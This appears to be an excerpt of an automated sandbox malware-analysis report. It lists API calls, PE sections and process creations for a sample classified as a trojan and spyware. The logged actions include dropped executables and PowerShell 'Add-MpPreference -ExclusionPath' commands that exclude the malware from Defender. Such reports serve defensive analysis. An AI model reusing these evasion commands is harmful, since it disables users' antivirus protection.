Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02C182 RtlGetCurrentServiceSessionId,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,	22_2_6C02C182
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04B180 ZwWaitForAlertByThreadId,	22_2_6C04B180
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049980 ZwCreateEvent,	22_2_6C049980
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04A980 ZwQueryInstallUILanguage,	22_2_6C04A980
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0CA189 RtlAcquireSRWLockExclusive,ZwGetNlsSectionPtr,RtlAllocateHeap,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,	22_2_6C0CA189
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0B6186 ZwQueryValueKey,memmove,RtlInitUnicodeString,	22_2_6C0B6186
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049990 ZwQueryVolumeInformationFile,	22_2_6C049990
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00519E RtlEqualUnicodeString,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	22_2_6C00519E
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04B1A0 ZwWaitForKeyedEvent,	22_2_6C04B1A0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C49A4 ZwAllocateVirtualMemory,RtlCompareMemory,memcpy,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,	22_2_6C0C49A4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04A9B0 ZwQueryLicenseValue,	22_2_6C04A9B0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0851BE ZwQuerySystemInformation,ZwQuerySystemInformationEx,RtlAllocateHeap,ZwQuerySystemInformationEx,RtlFindCharInUnicodeString,RtlEnterCriticalSection,memcpy,	22_2_6C0851BE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0DF1B5 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,	22_2_6C0DF1B5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03C9BF DbgPrintEx,wcsrchr,memcpy,DbgPrintEx,ZwClose,DbgPrintEx,DbgPrintEx,RtlDosPathNameToRelativeNtPathName_U,DbgPrintEx,ZwOpenFile,ZwClose,RtlFreeHeap,DbgPrintEx,DbgPrintEx,DbgPrintEx,RtlDeleteBoundaryDescriptor,ZwClose,RtlFreeHeap,	22_2_6C03C9BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0919C8 ZwCreateSection,ZwMapViewOfSection,memset,ZwUnmapViewOfSection,ZwClose,	22_2_6C0919C8
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00F1E4 ZwEnumerateValueKey,	22_2_6C00F1E4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D89E7 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0D89E7
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00E9ED RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,ZwClose,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,ZwClose,ZwClose,RtlFreeHeap,	22_2_6C00E9ED
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049A00 ZwProtectVirtualMemory,	22_2_6C049A00
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C005210 RtlGetCurrentDirectory_U,memcpy,RtlGetCurrentDirectory_U,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	22_2_6C005210
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00E216 RtlInitUnicodeString,ZwOpenKey,ZwEnumerateKey,ZwClose,	22_2_6C00E216
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8214 RtlAcquireSRWLockExclusive,ZwSetInformationWorkerFactory,RtlReleaseSRWLockExclusive,	22_2_6C0D8214
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C004A20 RtlGetCurrentServiceSessionId,RtlFreeHeap,ZwClose,RtlReleaseActivationContext,LdrUnloadDll,	22_2_6C004A20
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C094A28 ZwOpenKey,DbgPrintEx,ZwQueryValueKey,DbgPrintEx,DbgPrintEx,memcpy,ZwClose,	22_2_6C094A28
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04AA20 ZwQuerySecurityAttributesToken,	22_2_6C04AA20
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A229 ZwAllocateVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwQueryVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlFillMemoryUlong,DbgPrint,DbgPrint,DbgPrint,	22_2_6C02A229
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03B230 EtwEventWrite,ZwTraceEvent,RtlNtStatusToDosError,EtwEventWrite,	22_2_6C03B230
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049A30 ZwTerminateThread,	22_2_6C049A30
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C008239 RtlInitUnicodeStringEx,ZwQueryValueKey,RtlInitUnicodeStringEx,RtlPrefixUnicodeString,ZwEnumerateKey,ZwOpenKey,RtlInitUnicodeStringEx,ZwQueryValueKey,RtlFreeHeap,ZwClose,RtlAllocateHeap,RtlCompareUnicodeString,ZwClose,RtlFreeHeap,ZwClose,	22_2_6C008239
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C009240 ZwClose,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlAcquireSRWLockExclusive,RtlFreeHeap,	22_2_6C009240
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C091242 ZwUnmapViewOfSection,ZwClose,ZwClose,ZwClose,ZwClose,ZwClose,	22_2_6C091242
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049A50 ZwCreateFile,	22_2_6C049A50
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8A62 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0D8A62
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C022280 RtlAcquireSRWLockExclusive,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,ZwTerminateProcess,	22_2_6C022280
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04B280 ZwWow64DebuggerCall,	22_2_6C04B280
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03DA88 RtlAcquireSRWLockExclusive,RtlImageNtHeader,RtlAllocateHeap,ZwUnmapViewOfSection,ZwClose,RtlReAllocateHeap,	22_2_6C03DA88
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04AA90 ZwQuerySystemInformationEx,	22_2_6C04AA90
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03D294 ZwQueryAttributesFile,RtlFreeHeap,ZwClose,RtlFreeHeap,	22_2_6C03D294
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00429E RtlInitUnicodeString,ZwClose,LdrQueryImageFileKeyOption,	22_2_6C00429E
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C001AA0 RtlAllocateHandle,RtlReAllocateHeap,ZwAllocateVirtualMemory,ZwAllocateVirtualMemory,RtlAllocateHeap,	22_2_6C001AA0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00BAA0 RtlpLoadMachineUIByPolicy,RtlInitUnicodeString,ZwOpenKey,RtlpLoadMachineUIByPolicy,ZwClose,	22_2_6C00BAA0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C035AA0 TpSetPoolMaxThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMaxThreads,	22_2_6C035AA0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0052A5 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwFsControlFile,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,	22_2_6C0052A5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049AB0 ZwWaitForMultipleObjects,	22_2_6C049AB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03E2BB ZwWaitForAlertByThreadId,	22_2_6C03E2BB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04AAC0 ZwQueryWnfStateNameInformation,	22_2_6C04AAC0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8ADD RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0D8ADD
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02FAD0 RtlAcquireSRWLockShared,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockShared,ZwTerminateProcess,	22_2_6C02FAD0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C091AD6 ZwFreeVirtualMemory,	22_2_6C091AD6
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BEAE9 memset,RtlInitUnicodeString,RtlInitUnicodeString,ZwEnumerateValueKey,RtlInitUnicodeString,RtlCompareUnicodeStrings,	22_2_6C0BEAE9
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049AE0 ZwTraceEvent,	22_2_6C049AE0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04AAE0 ZwRaiseException,	22_2_6C04AAE0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C004B00 TpCallbackMayRunLong,TpCallbackMayRunLong,ZwSetInformationWorkerFactory,	22_2_6C004B00
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049B00 ZwSetValueKey,	22_2_6C049B00
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C035306 ZwReleaseKeyedEvent,	22_2_6C035306
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C131B RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0C131B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C009335 ZwClose,ZwClose,	22_2_6C009335
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C033B48 ZwClose,ZwClose,	22_2_6C033B48
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8B58 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0D8B58
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0B6369 RtlInitUnicodeString,ZwOpenFile,ZwCreateSection,ZwMapViewOfSection,ZwClose,ZwClose,	22_2_6C0B6369
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04AB60 ZwReleaseKeyedEvent,	22_2_6C04AB60
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C016B6B ZwQueryAttributesFile,RtlDeleteBoundaryDescriptor,	22_2_6C016B6B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C096365 RtlAllocateHeap,ZwQueryVirtualMemory,memcpy,wcsrchr,RtlFreeHeap,RtlAllocateHeap,memcpy,	22_2_6C096365
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C087365 RtlRunOnceExecuteOnce,ZwQuerySystemInformation,RtlCaptureContext,memset,RtlReportException,	22_2_6C087365
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04AB70 ZwReleaseWorkerFactoryWorker,	22_2_6C04AB70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C033B7A RtlAllocateHeap,ZwQuerySystemInformationEx,memset,RtlFreeHeap,	22_2_6C033B7A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C098372 ZwClose,RtlStringFromGUIDEx,ZwCreateKey,RtlFreeUnicodeString,	22_2_6C098372
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002B7E ZwSetInformationThread,ZwClose,	22_2_6C002B7E
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C138A memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0C138A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002B93 TpSetDefaultPoolMaxThreads,ZwDuplicateToken,	22_2_6C002B93
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04A390 ZwGetCachedSigningLevel,	22_2_6C04A390
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03939F RtlInitializeCriticalSectionEx,ZwDelayExecution,	22_2_6C03939F
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04A3A0 ZwGetCompleteWnfStateSubscription,	22_2_6C04A3A0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1BA8 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0C1BA8
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C034BAD RtlAcquireSRWLockExclusive,memset,ZwTraceControl,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,	22_2_6C034BAD
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D9BBE RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0D9BBE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8BB6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0D8BB6
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002BC2 ZwOpenThreadToken,ZwSetInformationThread,ZwClose,	22_2_6C002BC2
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01A3E0 RtlFormatCurrentUserKeyPath,ZwQueryInformationToken,RtlLengthSidAsUnicodeString,RtlAppendUnicodeToString,RtlConvertSidToUnicodeString,RtlFreeUnicodeString,	22_2_6C01A3E0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049BF0 ZwAlertThreadByThreadId,	22_2_6C049BF0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0023F6 ZwClose,RtlFreeHeap,	22_2_6C0023F6
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401915 Sleep,NtTerminateProcess,	27_2_00401915
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00402040 NtQuerySystemInformation,	27_2_00402040
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00402242 NtQuerySystemInformation,	27_2_00402242
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00402313 NtOpenKey,	27_2_00402313
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401921 Sleep,NtTerminateProcess,	27_2_00401921
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401931 Sleep,NtTerminateProcess,	27_2_00401931
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00402535 NtEnumerateKey,	27_2_00402535
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401938 Sleep,NtTerminateProcess,	27_2_00401938
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401FD8 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,NtQuerySystemInformation,NtQuerySystemInformation,	27_2_00401FD8
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401FFE NtQuerySystemInformation,LocalAlloc,	27_2_00401FFE
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00402190 NtQuerySystemInformation,	27_2_00402190
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401493 NtAllocateVirtualMemory,	27_2_00401493
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_0040199B Sleep,NtTerminateProcess,	27_2_0040199B
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_004021B5 NtQuerySystemInformation,	27_2_004021B5

Source: 37D8.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 4EDC.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 3AE.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C651.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: B74C.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: E4D7.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: FC0C.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: FBAD.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: DAA6.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: csdfufc.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: y8WngeDn4q.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\esdfufc

Jump to behavior

Source: 1105.tmp.22.dr

Binary string: \Device\IPT

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@43/42@60/11

Source: C:\Users\user\AppData\Local\Temp\37D8.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe

Code function: 25_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

25_2_00401306

Source: y8WngeDn4q.exe

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe

Code function: 25_2_0040A33B FindResourceW,SizeofResource,LoadResource,LockResource,

25_2_0040A33B

Source: y8WngeDn4q.exe

Virustotal: Detection: 36%

Source: C:\Users\user\Desktop\y8WngeDn4q.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\y8WngeDn4q.exe 'C:\Users\user\Desktop\y8WngeDn4q.exe'
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Process created: C:\Users\user\Desktop\y8WngeDn4q.exe 'C:\Users\user\Desktop\y8WngeDn4q.exe'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\esdfufc C:\Users\user\AppData\Roaming\esdfufc
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8908.exe C:\Users\user\AppData\Local\Temp\8908.exe
Source: C:\Users\user\AppData\Roaming\esdfufc	Process created: C:\Users\user\AppData\Roaming\esdfufc C:\Users\user\AppData\Roaming\esdfufc
Source: C:\Users\user\AppData\Local\Temp\8908.exe	Process created: C:\Users\user\AppData\Local\Temp\8908.exe C:\Users\user\AppData\Local\Temp\8908.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\37D8.exe C:\Users\user\AppData\Local\Temp\37D8.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3FD8.exe C:\Users\user\AppData\Local\Temp\3FD8.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4EDC.exe C:\Users\user\AppData\Local\Temp\4EDC.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\60DF.exe C:\Users\user\AppData\Local\Temp\60DF.exe
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6E1E.exe C:\Users\user\AppData\Local\Temp\6E1E.exe
Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe' /SpecialRun 4101d8 5988
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\E4D7.exe C:\Users\user\AppData\Local\Temp\E4D7.exe
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Process created: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
Source: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe' /SpecialRun 4101d8 780
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\60DF.exe' -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\csdfufc C:\Users\user\AppData\Roaming\csdfufc
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B74C.exe C:\Users\user\AppData\Local\Temp\B74C.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C651.exe C:\Users\user\AppData\Local\Temp\C651.exe
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D083.exe C:\Users\user\AppData\Local\Temp\D083.exe
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Process created: C:\Users\user\Desktop\y8WngeDn4q.exe 'C:\Users\user\Desktop\y8WngeDn4q.exe'	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8908.exe C:\Users\user\AppData\Local\Temp\8908.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\37D8.exe C:\Users\user\AppData\Local\Temp\37D8.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3FD8.exe C:\Users\user\AppData\Local\Temp\3FD8.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4EDC.exe C:\Users\user\AppData\Local\Temp\4EDC.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\60DF.exe C:\Users\user\AppData\Local\Temp\60DF.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6E1E.exe C:\Users\user\AppData\Local\Temp\6E1E.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esdfufc	Process created: C:\Users\user\AppData\Roaming\esdfufc C:\Users\user\AppData\Roaming\esdfufc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8908.exe	Process created: C:\Users\user\AppData\Local\Temp\8908.exe C:\Users\user\AppData\Local\Temp\8908.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe	Jump to behavior
